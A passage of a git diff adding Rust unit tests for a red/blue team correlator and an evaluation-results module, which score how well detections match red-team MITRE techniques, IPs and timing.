)); +} + +#[test] +fn test_techniques_match_mixed_case() { + assert!(RedBlueCorrelator::techniques_match( + Some("t1558.001"), + Some("T1558.003") + )); +} + +#[test] +fn test_red_team_activity_key() { + let activity = make_red_activity("T1003", "192.168.58.10", utc(12, 0)); + let key = activity.key(); + assert!(key.contains("T1003")); + assert!(key.contains("192.168.58.10")); +} + +#[test] +fn test_red_team_activity_key_no_technique_no_ip() { + let mut activity = make_red_activity("T1003", "192.168.58.10", utc(12, 0)); + activity.technique_id = None; + activity.target_ip = None; + let key = activity.key(); + assert!(key.contains("none:none")); +} + +#[test] +fn test_blue_team_detection_key() { + let detection = make_blue_detection( + "Credential Dumping Alert", + "T1003", + "192.168.58.10", + utc(12, 2), + ); + let key = detection.key(); + assert!(key.contains("T1003")); + assert!(key.contains("Credential Dumping Alert")); +} + +#[test] +fn test_blue_team_detection_key_no_technique() { + let mut detection = make_blue_detection("Unknown Alert", "T1003", "192.168.58.10", utc(12, 2)); + detection.technique_id = None; + let key = detection.key(); + assert!(key.contains("none")); + assert!(key.contains("Unknown Alert")); +} + +#[test] +fn test_match_quality_strong() { + // technique_match + target_match + small time delta + let m = super::types::CorrelationMatch { + red_activity: make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + blue_detection: make_blue_detection("Alert", "T1003", "192.168.58.10", utc(12, 2)), + time_delta_seconds: 120.0, + technique_match: true, + target_match: true, + confidence: 0.9, + }; + assert_eq!(m.match_quality(), "STRONG"); +} + +#[test] +fn test_match_quality_good() { + // technique_match, no target_match, moderate time delta + let m = super::types::CorrelationMatch { + red_activity: make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + blue_detection: make_blue_detection("Alert", "T1003", "192.168.58.20", utc(12, 8)), + time_delta_seconds: 480.0, + technique_match: true, + target_match: false, + confidence: 0.6, + }; + assert_eq!(m.match_quality(), "GOOD"); +} + +#[test] +fn test_match_quality_weak_technique_only() { + let m = super::types::CorrelationMatch { + red_activity: make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + blue_detection: make_blue_detection("Alert", "T1003", "192.168.58.20", utc(12, 15)), + time_delta_seconds: 900.0, + technique_match: true, + target_match: false, + confidence: 0.5, + }; + assert_eq!(m.match_quality(), "WEAK"); +} + +#[test] +fn test_match_quality_weak_target_close() { + let m = super::types::CorrelationMatch { + red_activity: make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + blue_detection: make_blue_detection("Alert", "T1046", "192.168.58.10", utc(12, 3)), + time_delta_seconds: 180.0, + technique_match: false, + target_match: true, + confidence: 0.4, + }; + assert_eq!(m.match_quality(), "WEAK"); +} + +#[test] +fn test_match_quality_tenuous() { + let m = super::types::CorrelationMatch { + red_activity: make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + blue_detection: make_blue_detection("Alert", "T1046", "192.168.58.20", utc(12, 10)), + time_delta_seconds: 600.0, + technique_match: false, + target_match: false, + confidence: 0.2, + }; + assert_eq!(m.match_quality(), "TENUOUS"); +} + +#[test] +fn test_correlate_multiple_red_activities_matched() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![ + make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + make_red_activity("T1046", "192.168.58.10", utc(12, 5)), + make_red_activity("T1110", "192.168.58.10", utc(12, 10)), + ]; + let blue = vec![ + make_blue_detection("Cred Alert", "T1003", "192.168.58.10", utc(12, 1)), + make_blue_detection("Scan Alert", "T1046", "192.168.58.10", utc(12, 6)), + make_blue_detection("Brute Alert", "T1110", "192.168.58.10", utc(12, 11)), + ]; + + let report = correlator.correlate(&red, &blue, "op-multi"); + assert_eq!(report.total_red_activities, 3); + assert_eq!(report.matched_activities, 3); + assert_eq!(report.undetected_activities, 0); + assert!(report.detection_rate > 0.99); + assert_eq!(report.false_positive_detections, 0); +} + +#[test] +fn test_correlate_hierarchical_technique_matching() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + // Red uses subtechnique T1003.006, blue detects parent T1003 + let red = vec![make_red_activity("T1003.006", "192.168.58.10", utc(12, 0))]; + let blue = vec![make_blue_detection( + "Credential Alert", + "T1003", + "192.168.58.10", + utc(12, 3), + )]; + + let report = correlator.correlate(&red, &blue, "op-hier"); + assert_eq!(report.matched_activities, 1); + assert!(report.matches[0].technique_match); +} + +#[test] +fn test_correlate_no_red_activities() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let blue = vec![make_blue_detection( + "Spurious Alert", + "T1003", + "192.168.58.10", + utc(12, 0), + )]; + + let report = correlator.correlate(&[], &blue, "op-empty"); + assert_eq!(report.total_red_activities, 0); + assert_eq!(report.total_blue_detections, 1); + assert_eq!(report.matched_activities, 0); + assert_eq!(report.detection_rate, 0.0); +} + +#[test] +fn test_correlate_no_blue_detections() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![ + make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + make_red_activity("T1046", "192.168.58.20", utc(12, 5)), + ]; + + let report = correlator.correlate(&red, &[], "op-noalerts"); + assert_eq!(report.total_red_activities, 2); + assert_eq!(report.matched_activities, 0); + assert_eq!(report.undetected_activities, 2); + assert_eq!(report.detection_rate, 0.0); + assert_eq!(report.gaps.len(), 2); +} + +#[test] +fn test_correlate_confidence_threshold() { + // Matches below 0.3 confidence should not be included + let correlator = RedBlueCorrelator::new("/tmp", Some(30)); + + // Different technique, different IP, but within time window + let red = vec![make_red_activity("T1003", "192.168.58.10", utc(12, 0))]; + let blue = vec![make_blue_detection( + "Unrelated Alert", + "T1046", + "192.168.58.20", + utc(12, 1), + )]; + + let report = correlator.correlate(&red, &blue, "op-lowconf"); + // No technique or target match, only time bonus (~0.2), below 0.3 threshold + assert_eq!(report.matched_activities, 0); + assert_eq!(report.undetected_activities, 1); +} + +#[test] +fn test_correlate_detection_rate_partial() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![ + make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + make_red_activity("T1046", "192.168.58.20", utc(12, 5)), + make_red_activity("T1110", "192.168.58.30", utc(12, 10)), + make_red_activity("T1558.001", "192.168.58.40", utc(12, 15)), + ]; + let blue = vec![ + make_blue_detection("Cred Alert", "T1003", "192.168.58.10", utc(12, 1)), + make_blue_detection("Brute Alert", "T1110", "192.168.58.30", utc(12, 11)), + ]; + + let report = correlator.correlate(&red, &blue, "op-partial"); + assert_eq!(report.matched_activities, 2); + assert_eq!(report.undetected_activities, 2); + assert!((report.detection_rate - 0.5).abs() < 0.01); +} + +#[test] +fn test_correlate_mean_time_to_detect_none_when_no_matches() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![make_red_activity("T1003", "192.168.58.10", utc(12, 0))]; + let report = correlator.correlate(&red, &[], "op-nomttd"); + assert!(report.mean_time_to_detect.is_none()); +} + +#[test] +fn test_correlate_technique_coverage_multiple_techniques() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![ + make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + make_red_activity("T1003", "192.168.58.11", utc(12, 2)), + make_red_activity("T1003", "192.168.58.12", utc(12, 4)), + make_red_activity("T1046", "192.168.58.20", utc(12, 10)), + ]; + let blue = vec![ + make_blue_detection("Cred Alert", "T1003", "192.168.58.10", utc(12, 1)), + make_blue_detection("Cred Alert 2", "T1003", "192.168.58.11", utc(12, 3)), + ]; + + let report = correlator.correlate(&red, &blue, "op-techcov"); + + let t1003 = &report.technique_coverage["T1003"]; + assert_eq!(t1003.total, 3); + assert!(t1003.detected >= 2); + + let t1046 = &report.technique_coverage["T1046"]; + assert_eq!(t1046.total, 1); + assert_eq!(t1046.missed, 1); + assert_eq!(t1046.detection_rate, 0.0); +} + +#[test] +fn test_correlate_false_positive_rate() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![make_red_activity("T1003", "192.168.58.10", utc(12, 0))]; + let blue = vec![ + make_blue_detection("Cred Alert", "T1003", "192.168.58.10", utc(12, 1)), + make_blue_detection("FP Alert 1", "T1078", "192.168.58.20", utc(12, 5)), + make_blue_detection("FP Alert 2", "T1046", "192.168.58.30", utc(12, 10)), + ]; + + let report = correlator.correlate(&red, &blue, "op-fprate"); + assert_eq!(report.false_positive_detections, 2); + // 2 false positives out of 3 detections in window + assert!(report.false_positive_rate > 0.6); +} + +#[test] +fn test_report_to_value_full_structure() { + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![ + make_red_activity("T1003", "192.168.58.10", utc(12, 0)), + make_red_activity("T1046", "192.168.58.20", utc(12, 5)), + ]; + let blue = vec![make_blue_detection( + "Cred Alert", + "T1003", + "192.168.58.10", + utc(12, 1), + )]; + + let report = correlator.correlate(&red, &blue, "op-val"); + let val = report.to_value(); + + // Check structure + assert_eq!(val["red_operation_id"], "op-val"); + assert!(val["time_window"]["start"].is_string()); + assert!(val["time_window"]["end"].is_string()); + assert_eq!(val["summary"]["total_red_activities"], 2); + assert_eq!(val["summary"]["total_blue_detections"], 1); + + // Check matches array + let matches = val["matches"].as_array().unwrap(); + assert!(!matches.is_empty()); + assert!(matches[0]["red_technique"].is_string()); + assert!(matches[0]["red_action"].is_string()); + assert!(matches[0]["blue_alert"].is_string()); + assert!(matches[0]["match_quality"].is_string()); + assert!(matches[0]["confidence"].is_f64()); + + // Check gaps array + let gaps = val["gaps"].as_array().unwrap(); + assert!(!gaps.is_empty()); + assert!(gaps[0]["technique"].is_string()); + assert!(gaps[0]["reason"].is_string()); +} + +#[test] +fn test_correlate_best_match_selection() { + // When multiple detections could match, engine should pick best confidence + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![make_red_activity("T1003", "192.168.58.10", utc(12, 0))]; + let blue = vec![ + // Weak match: different technique, same IP + make_blue_detection("Generic Alert", "T1046", "192.168.58.10", utc(12, 1)), + // Strong match: same technique, same IP, close time + make_blue_detection("Cred Alert", "T1003", "192.168.58.10", utc(12, 1)), + ]; + + let report = correlator.correlate(&red, &blue, "op-best"); + assert_eq!(report.matched_activities, 1); + assert!(report.matches[0].technique_match); + assert!(report.matches[0].target_match); + assert!(report.matches[0].confidence >= 0.8); +} + +#[test] +fn test_correlate_time_window_custom() { + // Custom time window of 2 minutes + let correlator = RedBlueCorrelator::new("/tmp", Some(2)); + + let red = vec![make_red_activity("T1003", "192.168.58.10", utc(12, 0))]; + // 3 minutes later should be outside 2-minute window + let blue = vec![make_blue_detection( + "Cred Alert", + "T1003", + "192.168.58.10", + utc(12, 3), + )]; + + let report = correlator.correlate(&red, &blue, "op-tw"); + assert_eq!(report.matched_activities, 0); +} + +#[test] +fn test_correlate_detection_before_activity() { + // Blue detection 2 minutes BEFORE red activity (should still match within window) + let correlator = RedBlueCorrelator::new("/tmp", None); + + let red = vec![make_red_activity("T1003", "192.168.58.10", utc(12, 5))]; + let blue = vec![make_blue_detection( + "Early Alert", + "T1003", + "192.168.58.10", + utc(12, 3), // 2 minutes before + )]; + + let report = correlator.correlate(&red, &blue, "op-before"); + assert_eq!(report.matched_activities, 1); + // time_delta should be negative (detection before activity) + assert!(report.matches[0].time_delta_seconds < 0.0); +} + +#[test] +fn test_new_default_time_window() { + let correlator = RedBlueCorrelator::new("/tmp/reports", None); + assert_eq!( + correlator.time_window.num_minutes(), + RedBlueCorrelator::DEFAULT_TIME_WINDOW_MINUTES + ); +} + +#[test] +fn test_new_custom_time_window() { + let correlator = RedBlueCorrelator::new("/tmp/reports", Some(60)); + assert_eq!(correlator.time_window.num_minutes(), 60); +} diff --git a/ares-core/src/eval/results.rs b/ares-core/src/eval/results.rs index 75368ad0..8cc6a8e5 100644 --- a/ares-core/src/eval/results.rs +++ b/ares-core/src/eval/results.rs @@ -548,4 +548,672 @@ mod tests { assert_eq!(val["scores"]["overall"], 0.85); assert_eq!(val["status"]["grade"], "B"); } + + // ─── Default trait ────────────────────────────────────────────────────── + + #[test] + fn test_default_creates_valid_result() { + let r = EvaluationResult::default(); + assert!(r.evaluation_id.is_empty()); + assert!(r.operation_id.is_empty()); + assert!(r.investigation_id.is_none()); + assert_eq!(r.overall_score, 0.0); + assert_eq!(r.detection_score, 0.0); + assert_eq!(r.quality_score, 0.0); + assert_eq!(r.completeness_score, 0.0); + assert_eq!(r.stage_score, 0.0); + assert_eq!(r.ioc_detection_rate, 0.0); + assert_eq!(r.technique_coverage, 0.0); + assert_eq!(r.pyramid_elevation_score, 0.0); + assert_eq!(r.timeline_accuracy, 0.0); + assert_eq!(r.evidence_quality_score, 0.0); + assert!(r.final_stage.is_none()); + assert!(r.stages_completed.is_empty()); + assert!(r.missed_iocs.is_empty()); + assert!(r.missed_techniques.is_empty()); + assert!(r.found_iocs.is_empty()); + assert!(r.found_techniques.is_empty()); + assert_eq!(r.evidence_count, 0); + assert_eq!(r.highest_pyramid_level, 0); + assert_eq!(r.ttp_count, 0); + assert!(!r.alert_fired); + assert!(!r.investigation_started); + assert!(!r.investigation_completed); + assert!(r.time_to_first_evidence.is_none()); + assert!(r.time_to_technique_identification.is_none()); + assert!(r.time_to_ttp_elevation.is_none()); + assert_eq!(r.total_tokens, 0); + assert_eq!(r.prompt_tokens, 0); + assert_eq!(r.completion_tokens, 0); + assert_eq!(r.estimated_cost_usd, 0.0); + assert!(r.model.is_empty()); + assert_eq!(r.duration_seconds, 0.0); + assert!(r.error.is_none()); + } + + // ─── Serde round-trip ─────────────────────────────────────────────────── + + #[test] + fn test_serde_roundtrip_default() { + let original = EvaluationResult::default(); + let json = serde_json::to_string(&original).unwrap(); + let deserialized: EvaluationResult = serde_json::from_str(&json).unwrap(); + assert_eq!(deserialized.overall_score, original.overall_score); + assert_eq!(deserialized.evaluation_id, original.evaluation_id); + assert_eq!(deserialized.total_tokens, original.total_tokens); + assert_eq!(deserialized.alert_fired, original.alert_fired); + } + + #[test] + fn test_serde_roundtrip_all_fields_populated() { + let original = EvaluationResult { + evaluation_id: "eval-full".to_string(), + operation_id: "op-full".to_string(), + investigation_id: Some("inv-001".to_string()), + evaluated_at: Utc::now(), + overall_score: 0.92, + detection_score: 0.88, + quality_score: 0.75, + completeness_score: 0.95, + stage_score: 0.80, + ioc_detection_rate: 0.70, + technique_coverage: 0.85, + pyramid_elevation_score: 0.90, + timeline_accuracy: 0.65, + evidence_quality_score: 0.78, + final_stage: Some("ttps".to_string()), + stages_completed: vec!["hashes".to_string(), "ips".to_string(), "ttps".to_string()], + missed_iocs: vec![ExpectedIOC { + ioc_type: "ip".to_string(), + value: "192.168.58.50".to_string(), + pyramid_level: crate::models::PyramidLevel::IpAddresses, + mitre_techniques: vec!["T1046".to_string()], + required: true, + source: "nmap".to_string(), + }], + missed_techniques: vec![ExpectedTechnique { + technique_id: "T1003.001".to_string(), + technique_name: "LSASS Memory".to_string(), + required: true, + parent_id: Some("T1003".to_string()), + }], + found_iocs: vec![ExpectedIOC { + ioc_type: "hostname".to_string(), + value: "dc01.contoso.local".to_string(), + pyramid_level: crate::models::PyramidLevel::DomainNames, + mitre_techniques: vec![], + required: true, + source: "".to_string(), + }], + found_techniques: vec![ExpectedTechnique { + technique_id: "T1558.003".to_string(), + technique_name: "Kerberoasting".to_string(), + required: true, + parent_id: Some("T1558".to_string()), + }], + evidence_count: 42, + highest_pyramid_level: 5, + ttp_count: 7, + alert_fired: true, + investigation_started: true, + investigation_completed: true, + time_to_first_evidence: Some(12.5), + time_to_technique_identification: Some(45.0), + time_to_ttp_elevation: Some(120.0), + total_tokens: 50000, + prompt_tokens: 30000, + completion_tokens: 20000, + estimated_cost_usd: 0.15, + model: "gpt-4.1".to_string(), + duration_seconds: 300.5, + error: None, + }; + let json = serde_json::to_string(&original).unwrap(); + let deserialized: EvaluationResult = serde_json::from_str(&json).unwrap(); + assert_eq!(deserialized.evaluation_id, "eval-full"); + assert_eq!(deserialized.operation_id, "op-full"); + assert_eq!(deserialized.investigation_id, Some("inv-001".to_string())); + assert!((deserialized.overall_score - 0.92).abs() < f64::EPSILON); + assert!((deserialized.detection_score - 0.88).abs() < f64::EPSILON); + assert_eq!(deserialized.stages_completed.len(), 3); + assert_eq!(deserialized.missed_iocs.len(), 1); + assert_eq!(deserialized.missed_iocs[0].value, "192.168.58.50"); + assert_eq!(deserialized.found_techniques.len(), 1); + assert_eq!(deserialized.evidence_count, 42); + assert_eq!(deserialized.highest_pyramid_level, 5); + assert!(deserialized.alert_fired); + assert!(deserialized.investigation_completed); + assert_eq!(deserialized.time_to_first_evidence, Some(12.5)); + assert_eq!(deserialized.total_tokens, 50000); + assert_eq!(deserialized.model, "gpt-4.1"); + } + + #[test] + fn test_serde_missing_optional_fields() { + // Minimal JSON with only required fields — optional/defaulted fields omitted + let json = r#"{ + "evaluation_id": "eval-min", + "operation_id": "op-min", + "evaluated_at": "2026-01-15T10:00:00Z", + "overall_score": 0.5, + "detection_score": 0.5, + "quality_score": 0.5, + "completeness_score": 0.5, + "stage_score": 0.5, + "ioc_detection_rate": 0.5, + "technique_coverage": 0.5, + "pyramid_elevation_score": 0.5, + "timeline_accuracy": 0.5, + "evidence_quality_score": 0.5, + "evidence_count": 0, + "highest_pyramid_level": 0, + "ttp_count": 0, + "alert_fired": false, + "investigation_started": false, + "investigation_completed": false + }"#; + let r: EvaluationResult = serde_json::from_str(json).unwrap(); + assert_eq!(r.evaluation_id, "eval-min"); + assert!(r.investigation_id.is_none()); + assert!(r.final_stage.is_none()); + assert!(r.stages_completed.is_empty()); + assert!(r.missed_iocs.is_empty()); + assert!(r.missed_techniques.is_empty()); + assert!(r.found_iocs.is_empty()); + assert!(r.found_techniques.is_empty()); + assert!(r.time_to_first_evidence.is_none()); + assert_eq!(r.total_tokens, 0); + assert_eq!(r.prompt_tokens, 0); + assert_eq!(r.completion_tokens, 0); + assert_eq!(r.estimated_cost_usd, 0.0); + assert!(r.model.is_empty()); + assert_eq!(r.duration_seconds, 0.0); + assert!(r.error.is_none()); + } + + // ─── Grade boundary tests ─────────────────────────────────────────────── + + #[test] + fn test_grade_boundaries() { + // Exact boundaries + let at_90 = EvaluationResult { + overall_score: 0.9, + ..Default::default() + }; + assert_eq!(at_90.grade(), "A"); + + let just_below_90 = EvaluationResult { + overall_score: 0.8999, + ..Default::default() + }; + assert_eq!(just_below_90.grade(), "B"); + + let at_80 = EvaluationResult { + overall_score: 0.8, + ..Default::default() + }; + assert_eq!(at_80.grade(), "B"); + + let just_below_80 = EvaluationResult { + overall_score: 0.7999, + ..Default::default() + }; + assert_eq!(just_below_80.grade(), "C"); + + let at_70 = EvaluationResult { + overall_score: 0.7, + ..Default::default() + }; + assert_eq!(at_70.grade(), "C"); + + let just_below_70 = EvaluationResult { + overall_score: 0.6999, + ..Default::default() + }; + assert_eq!(just_below_70.grade(), "D"); + + let at_60 = EvaluationResult { + overall_score: 0.6, + ..Default::default() + }; + assert_eq!(at_60.grade(), "D"); + + let just_below_60 = EvaluationResult { + overall_score: 0.5999, + ..Default::default() + }; + assert_eq!(just_below_60.grade(), "F"); + + let zero = EvaluationResult { + overall_score: 0.0, + ..Default::default() + }; + assert_eq!(zero.grade(), "F"); + + let perfect = EvaluationResult { + overall_score: 1.0, + ..Default::default() + }; + assert_eq!(perfect.grade(), "A"); + } + + // ─── passed() edge cases ──────────────────────────────────────────────── + + #[test] + fn test_passed_boundary_exactly_half() { + let r = EvaluationResult { + overall_score: 0.5, + ioc_detection_rate: 0.5, + technique_coverage: 0.5, + ..Default::default() + }; + assert!(r.passed()); + } + + #[test] + fn test_passed_fails_overall_below_threshold() { + let r = EvaluationResult { + overall_score: 0.49, + ioc_detection_rate: 0.8, + technique_coverage: 0.8, + ..Default::default() + }; + assert!(!r.passed()); + } + + #[test] + fn test_passed_fails_ioc_below_threshold() { + let r = EvaluationResult { + overall_score: 0.8, + ioc_detection_rate: 0.49, + technique_coverage: 0.8, + ..Default::default() + }; + assert!(!r.passed()); + } + + // ─── investigation_status() via to_summary() ──────────────────────────── + + #[test] + fn test_investigation_status_completed() { + let r = EvaluationResult { + investigation_started: true, + investigation_completed: true, + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Investigation: Completed")); + } + + #[test] + fn test_investigation_status_started() { + let r = EvaluationResult { + investigation_started: true, + investigation_completed: false, + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Investigation: Started")); + } + + #[test] + fn test_investigation_status_not_started() { + let r = EvaluationResult { + investigation_started: false, + investigation_completed: false, + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Investigation: Not Started")); + } + + // ─── to_value() structure ─────────────────────────────────────────────── + + #[test] + fn test_to_value_contains_all_sections() { + let r = EvaluationResult { + evaluation_id: "eval-struct".to_string(), + operation_id: "op-struct".to_string(), + overall_score: 0.7, + alert_fired: true, + total_tokens: 1000, + prompt_tokens: 600, + completion_tokens: 400, + estimated_cost_usd: 0.01, + ..Default::default() + }; + let val = r.to_value(); + + // Check all top-level sections exist + assert!(val.get("evaluation_id").is_some()); + assert!(val.get("operation_id").is_some()); + assert!(val.get("scores").is_some()); + assert!(val.get("gaps").is_some()); + assert!(val.get("stats").is_some()); + assert!(val.get("status").is_some()); + assert!(val.get("timing").is_some()); + assert!(val.get("cost").is_some()); + assert!(val.get("metadata").is_some()); + + // Check nested values + assert_eq!(val["status"]["alert_fired"], true); + assert_eq!(val["status"]["passed"], false); // 0.7 overall but 0.0 ioc/tech + assert_eq!(val["cost"]["total_tokens"], 1000); + assert_eq!(val["cost"]["prompt_tokens"], 600); + assert_eq!(val["cost"]["completion_tokens"], 400); + } + + #[test] + fn test_to_value_gaps_counts() { + let r = EvaluationResult { + found_iocs: vec![ + ExpectedIOC { + ioc_type: "ip".to_string(), + value: "192.168.58.10".to_string(), + pyramid_level: crate::models::PyramidLevel::IpAddresses, + mitre_techniques: vec![], + required: true, + source: "".to_string(), + }, + ExpectedIOC { + ioc_type: "ip".to_string(), + value: "192.168.58.20".to_string(), + pyramid_level: crate::models::PyramidLevel::IpAddresses, + mitre_techniques: vec![], + required: true, + source: "".to_string(), + }, + ], + missed_iocs: vec![ExpectedIOC { + ioc_type: "hostname".to_string(), + value: "dc01.contoso.local".to_string(), + pyramid_level: crate::models::PyramidLevel::DomainNames, + mitre_techniques: vec![], + required: true, + source: "".to_string(), + }], + ..Default::default() + }; + let val = r.to_value(); + assert_eq!(val["gaps"]["found_iocs_count"], 2); + assert_eq!(val["gaps"]["missed_iocs"].as_array().unwrap().len(), 1); + } + + // ─── to_summary() formatting ──────────────────────────────────────────── + + #[test] + fn test_to_summary_includes_timing_when_present() { + let r = EvaluationResult { + duration_seconds: 120.0, + time_to_first_evidence: Some(5.5), + time_to_technique_identification: Some(30.0), + time_to_ttp_elevation: Some(60.0), + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Duration: 120.0s")); + assert!(summary.contains("Time to First Evidence: 5.5s")); + assert!(summary.contains("Time to Technique ID: 30.0s")); + assert!(summary.contains("Time to TTP Elevation: 60.0s")); + } + + #[test] + fn test_to_summary_excludes_timing_when_absent() { + let r = EvaluationResult::default(); + let summary = r.to_summary(); + assert!(!summary.contains("Timing:")); + assert!(!summary.contains("Duration:")); + } + + #[test] + fn test_to_summary_includes_cost_when_tokens_present() { + let r = EvaluationResult { + total_tokens: 5000, + prompt_tokens: 3000, + completion_tokens: 2000, + estimated_cost_usd: 0.025, + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Cost:")); + assert!(summary.contains("Tokens: 5000")); + assert!(summary.contains("Estimated Cost: $0.0250")); + } + + #[test] + fn test_to_summary_excludes_cost_when_no_tokens() { + let r = EvaluationResult::default(); + let summary = r.to_summary(); + assert!(!summary.contains("Cost:")); + } + + #[test] + fn test_to_summary_shows_missed_techniques() { + let r = EvaluationResult { + missed_techniques: vec![ + ExpectedTechnique { + technique_id: "T1003".to_string(), + technique_name: "OS Credential Dumping".to_string(), + required: true, + parent_id: None, + }, + ExpectedTechnique { + technique_id: "T1558".to_string(), + technique_name: "Steal or Forge Kerberos Tickets".to_string(), + required: true, + parent_id: None, + }, + ], + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Missed Techniques:")); + assert!(summary.contains("T1003: OS Credential Dumping")); + assert!(summary.contains("T1558: Steal or Forge Kerberos Tickets")); + } + + #[test] + fn test_to_summary_truncates_missed_techniques_over_five() { + let techniques: Vec = (0..8) + .map(|i| ExpectedTechnique { + technique_id: format!("T100{i}"), + technique_name: format!("Technique {i}"), + required: true, + parent_id: None, + }) + .collect(); + let r = EvaluationResult { + missed_techniques: techniques, + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("... and 3 more")); + } + + #[test] + fn test_to_summary_shows_error() { + let r = EvaluationResult { + error: Some("LLM rate limited".to_string()), + ..Default::default() + }; + let summary = r.to_summary(); + assert!(summary.contains("Error: LLM rate limited")); + } + + // ─── DatasetEvaluationResult edge cases ───────────────────────────────── + + #[test] + fn test_dataset_empty_results() { + let ds = DatasetEvaluationResult { + dataset_name: "empty".to_string(), + evaluated_at: Utc::now(), + results: vec![], + }; + assert_eq!(ds.count(), 0); + assert_eq!(ds.pass_rate(), 0.0); + assert_eq!(ds.avg_overall_score(), 0.0); + assert_eq!(ds.avg_ioc_detection_rate(), 0.0); + assert_eq!(ds.avg_technique_coverage(), 0.0); + assert_eq!(ds.alert_fire_rate(), 0.0); + assert_eq!(ds.investigation_completion_rate(), 0.0); + assert_eq!(ds.total_cost_usd(), 0.0); + assert_eq!(ds.total_tokens(), 0); + assert_eq!(ds.avg_duration_seconds(), 0.0); + } + + #[test] + fn test_dataset_all_passing() { + let ds = DatasetEvaluationResult { + dataset_name: "all-pass".to_string(), + evaluated_at: Utc::now(), + results: vec![ + EvaluationResult { + overall_score: 0.9, + ioc_detection_rate: 0.8, + technique_coverage: 0.7, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.85, + ioc_detection_rate: 0.75, + technique_coverage: 0.65, + ..Default::default() + }, + ], + }; + assert!((ds.pass_rate() - 1.0).abs() < f64::EPSILON); + } + + #[test] + fn test_dataset_all_failing() { + let ds = DatasetEvaluationResult { + dataset_name: "all-fail".to_string(), + evaluated_at: Utc::now(), + results: vec![ + EvaluationResult { + overall_score: 0.3, + ioc_detection_rate: 0.2, + technique_coverage: 0.1, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.1, + ioc_detection_rate: 0.1, + technique_coverage: 0.1, + ..Default::default() + }, + ], + }; + assert_eq!(ds.pass_rate(), 0.0); + } + + #[test] + fn test_dataset_to_value_structure() { + let ds = DatasetEvaluationResult { + dataset_name: "test-ds".to_string(), + evaluated_at: Utc::now(), + results: vec![EvaluationResult { + overall_score: 0.8, + estimated_cost_usd: 0.05, + total_tokens: 10000, + duration_seconds: 60.0, + ..Default::default() + }], + }; + let val = ds.to_value(); + assert_eq!(val["dataset_name"], "test-ds"); + assert_eq!(val["summary"]["count"], 1); + assert_eq!(val["summary"]["total_tokens"], 10000); + assert!(val["results"].as_array().unwrap().len() == 1); + } + + #[test] + fn test_dataset_to_summary_grade_distribution() { + let ds = DatasetEvaluationResult { + dataset_name: "grade-dist".to_string(), + evaluated_at: Utc::now(), + results: vec![ + EvaluationResult { + overall_score: 0.95, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.85, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.75, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.65, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.40, + ..Default::default() + }, + ], + }; + let summary = ds.to_summary(); + assert!(summary.contains("Grade Distribution:")); + assert!(summary.contains("A:")); + assert!(summary.contains("B:")); + assert!(summary.contains("C:")); + assert!(summary.contains("D:")); + assert!(summary.contains("F:")); + } + + #[test] + fn test_dataset_serde_roundtrip() { + let ds = DatasetEvaluationResult { + dataset_name: "roundtrip".to_string(), + evaluated_at: Utc::now(), + results: vec![EvaluationResult { + evaluation_id: "e1".to_string(), + overall_score: 0.75, + ..Default::default() + }], + }; + let json = serde_json::to_string(&ds).unwrap(); + let deserialized: DatasetEvaluationResult = serde_json::from_str(&json).unwrap(); + assert_eq!(deserialized.dataset_name, "roundtrip"); + assert_eq!(deserialized.results.len(), 1); + assert!((deserialized.results[0].overall_score - 0.75).abs() < f64::EPSILON); + } + + // ─── avg() helper ─────────────────────────────────────────────────────── + + #[test] + fn test_avg_empty() { + assert_eq!(avg(&[], |r| r.overall_score), 0.0); + } + + #[test] + fn test_avg_single() { + let results = vec![EvaluationResult { + overall_score: 0.8, + ..Default::default() + }]; + assert!((avg(&results, |r| r.overall_score) - 0.8).abs() < f64::EPSILON); + } + + #[test] + fn test_avg_multiple() { + let results = vec![ + EvaluationResult { + overall_score: 0.6, + ..Default::default() + }, + EvaluationResult { + overall_score: 0.8, + ..Default::default() + }, + EvaluationResult { + overall_score: 1.0, + ..Default::default() + }, + ]; + assert!((avg(&results, |r| r.overall_score) - 0.8).abs() < f64::EPSILON); + } } diff --git a/ares-core/src/models/operation.rs b/ares-core/src/models/operation.rs index 689c295f..7fccc3ce 100644 --- a/ares-core/src/models/operation.rs +++ b/ares-core/src/models/operation.rs @@ -362,6 +362,503 @@ mod tests { assert!(!meta.has_golden_ticket); assert!(meta.target_ips.is_empty()); } + + // ─── parse_meta_bool edge cases ───────────────────────────────────────── + + #[test] + fn test_parse_meta_bool_whitespace() { + assert!(!parse_meta_bool(" true")); + assert!(!parse_meta_bool("true ")); + } + + #[test] + fn test_parse_meta_bool_json_encoded_true() { + // Python json.dumps(True) = "true", json.dumps(False) = "false" + assert!(parse_meta_bool("true")); + assert!(!parse_meta_bool("false")); + } + + // ─── parse_meta_string edge cases ─────────────────────────────────────── + + #[test] + fn test_parse_meta_string_ip_address() { + assert_eq!( + parse_meta_string(r#""192.168.58.10""#), + 